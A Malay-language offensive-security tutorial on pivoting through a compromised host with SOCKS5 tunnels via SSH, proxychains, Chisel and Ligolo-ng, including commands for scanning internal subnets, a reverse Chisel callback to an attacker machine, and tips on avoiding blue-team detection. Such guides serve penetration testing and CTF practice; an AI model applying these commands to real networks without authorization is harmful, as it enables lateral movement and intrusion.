Offensive Security

Pivoting Melalui Hos Terkompromi dengan Terowong SOCKS5

4 min read Published Updated 745 words

Satu hos tunggal yang terjejas dalam rangkaian dalaman tidak berguna tanpa laluan pangsi yang boleh dipercayai. Terowong SOCKS5 melalui SSH menyediakan kaedah dengan kependaman terendah dan paling tidak bergantung pada alat untuk pergerakan sisi — namun kebanyakan pengendali salah konfigurasi atau meninggalkan serpihan forensik yang dapat dikesan oleh pasukan biru yang kompeten dalam beberapa saat. Pada tahun 2024, proksi SOCKS5 yang disediakan dengan betul masih mengatasi proksi HTTP CONNECT dari segi daya pemprosesan TCP mentah, dan dengan alat seperti proxychains-ng dan Chisel, anda boleh menghalakan nmap, Metasploit, dan skrip tersuai melalui satu sesi SSH tanpa menyentuh peraturan tembok api sasaran.

Mengapa SOCKS5 Melalui SSH Mengatasi Pemajuan Port

Pemajuan port tempatan statik (-L) memaksa anda memetakan setiap perkhidmatan jauh ke port tempatan sebelum anda boleh berinteraksi dengannya. Jika anda perlu mengimbas subnet /24, anda perlu mencipta 254 pemajuan berasingan. Pemajuan dinamik SOCKS5 (-D) menyelesaikan masalah ini dengan mendedahkan proksi SOCKS5 tempatan yang menghalakan sebarang sambungan TCP melalui terowong SSH ke hos jauh. Protokol ini ditakrifkan dalam RFC 1928 dan mengendalikan pengesahan, UDP (pilihan), dan IPv6. Dalam amalan, anda mendapat satu pendengar tempatan — biasanya pada 127.0.0.1:1080 — dan setiap alat yang menyokong proksi SOCKS boleh menggunakannya. Overhednya diabaikan: penyulitan SSH menambah mungkin 5-10% CPU, tetapi kependamannya jauh lebih rendah daripada VPN atau pemajuan port terbalik melalui web shell.

Menyediakan Pendengar SOCKS5 pada Pijakan Linux

Andaikan anda mempunyai shell pada hos Linux di dalam rangkaian sasaran. Cara terpantas untuk mewujudkan pangsi adalah dengan menjalankan ssh -D 1080 -N -f user@your-listener dari hos yang terjejas kembali ke mesin serangan anda. Tetapi itu memerlukan akses SSH keluar, yang mungkin disekat. Sebaliknya, jalankan pemajuan dinamik dari mesin serangan anda ke hos yang terjejas:

ssh -D 1080 -N -f compromised_user@compromised_host

Ini membuka proksi SOCKS5 pada port tempatan 1080. Sekarang konfigurasikan proxychains-ng (/etc/proxychains.conf) untuk menggunakan proksi tersebut:

socks5 127.0.0.1 1080

Kemudian jalankan sebarang alat TCP melalui terowong:

proxychains4 nmap -sT -Pn -p 445,3389 10.10.10.0/24

Perhatikan bahawa nmap memerlukan -sT (imbasan sambungan TCP) kerana SOCKS5 tidak menyokong paket SYN mentah. Untuk Metasploit, tetapkan setg Proxies socks5:127.0.0.1:1080 dan semua modul tambahan dan eksploitasi akan dihalakan melalui pangsi. Teknik ini berfungsi dalam persekitaran CTF seperti Hack The Box atau Proving Grounds di mana matlamatnya adalah untuk mencapai subnet kedua.

Chisel, Ligolo-ng, dan Pertukaran

Apabila SSH tidak tersedia — mungkin sasaran menjalankan Windows atau tidak mempunyai pelayan SSH — alat terowong alternatif mengisi jurang tersebut. Chisel menggunakan klien dan pelayan berasaskan Go yang menerowong TCP melalui HTTP/HTTPS. Jalankan pelayan pada kotak serangan anda: chisel server -p 8000 --reverse. Pada hos yang terjejas, jalankan klien: chisel client your_ip:8000 R:socks. Ini memberikan anda pendengar SOCKS5 di sisi pelayan. Chisel pantas dan berfungsi melalui penapis egress yang ketat, tetapi trafiknya tidak disulitkan secara lalai — balut dengan TLS atau gunakan SSH jika anda mengambil berat tentang opsec.

Ligolo-ng mengambil pendekatan berbeza: ia mencipta terowong rangkaian pada Lapisan 3 menggunakan antara muka TUN/TAP. Daripada SOCKS5, anda menghalakan keseluruhan julat IP melalui pangsi. Ini bermakna anda boleh menjalankan nmap -sS (imbasan SYN) tanpa proxychains. Pertukarannya adalah overhed pentadbiran: anda memerlukan root pada kedua-dua hujung, dan persediaan terowong memerlukan penambahan laluan pada mesin serangan anda. Untuk CTF di mana anda mengawal kedua-dua belah, Ligolo-ng lebih pantas. Dalam penglibatan sebenar, pendekatan SOCKS5 lebih mudah alih kerana ia berfungsi tanpa keistimewaan tinggi pada hos pangsi.

Isyarat Pengesanan yang Ditinggalkan Penyerang

Setiap kaedah pangsi meninggalkan artifak. Pemajuan dinamik SSH mencipta soket pendengar pada hos yang terjejas — ss -tlnp menunjukkan proses ssh terikat pada 127.0.0.1:1080. Pasukan biru boleh mengaitkan ini dengan sambungan SSH keluar ke IP luaran. Proses klien Chisel dinamakan chisel secara lalai — remeh untuk dikesan dengan pemantauan proses. Ligolo-ng memerlukan peranti TUN (ip link show), yang tidak normal pada pelayan.

Lebih teruk, ramai pengendali lupa membersihkan. Sesi SSH kekal sehingga hos jauh membunuhnya atau sambungan terputus. Proxychains tidak meninggalkan artifak tempatan, tetapi trafik nmap itu sendiri — imbasan port luar biasa yang berasal dari hos yang biasanya tidak mengimbas — mencetuskan amaran IDS. Kesilapan paling biasa adalah menggunakan semula port SOCKS5 lalai 1080. Tukarkannya ke port ephemeral tinggi (contohnya, ssh -D 53421) dan alias konfigurasi proxychains untuk mengelakkan meninggalkan fail konfigurasi lalai. Dalam CTF, semua ini tidak penting. Dalam ujian penembusan sebenar, isyarat ini adalah cara anda ditangkap.